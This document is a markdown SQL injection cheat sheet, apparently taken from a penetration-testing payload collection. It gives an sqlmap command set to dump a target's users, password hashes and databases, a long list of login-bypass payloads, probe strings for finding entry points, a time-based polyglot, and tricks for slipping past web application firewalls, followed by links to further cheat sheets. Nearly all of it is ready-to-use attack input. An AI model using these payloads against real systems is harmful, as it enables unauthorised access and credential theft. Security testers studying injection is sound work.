# SQL injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application	

## SQL injection using SQLmap
```
sqlmap --url="<url>" -p username --user-agent=SQLMAP --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
```

## Entry point detection
Detection of an SQL injection entry point
```
'
"
%27
" / %22
; / %3B
%%2727
%25%27
`+HERP
'||'DERP
'+'herp
' ' DERP
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
```

## Authentication bypass 
```
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1-- 
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```

## Polyglot injection (multicontext)
```
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```

## WAF Bypass

No Whitespace - bypass using comments
```
?id=1/*comment*/and/**/1=1/**/--
```

No Whitespace - bypass using parenthesis
```
?id=(1)and(1)=(1)--
```

No Comma - bypass using OFFSET and FROM
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). 
```

Blacklist using keywords - bypass using uppercase/lowercase
```
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```

Blacklist using keywords case insensitive - bypass using equivalent
```
AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, not < and not >
WHERE -> HAVING
```




## Thanks to - Other resources
* MySQL:
  - [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
  - [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
* MSQQL:
  - [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php)
  - [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
* ORACLE:
  - [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
* POSTGRESQL:
  - [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
* Others
  - [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
  - [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
  - [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
  - [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
  - [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
  - [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/)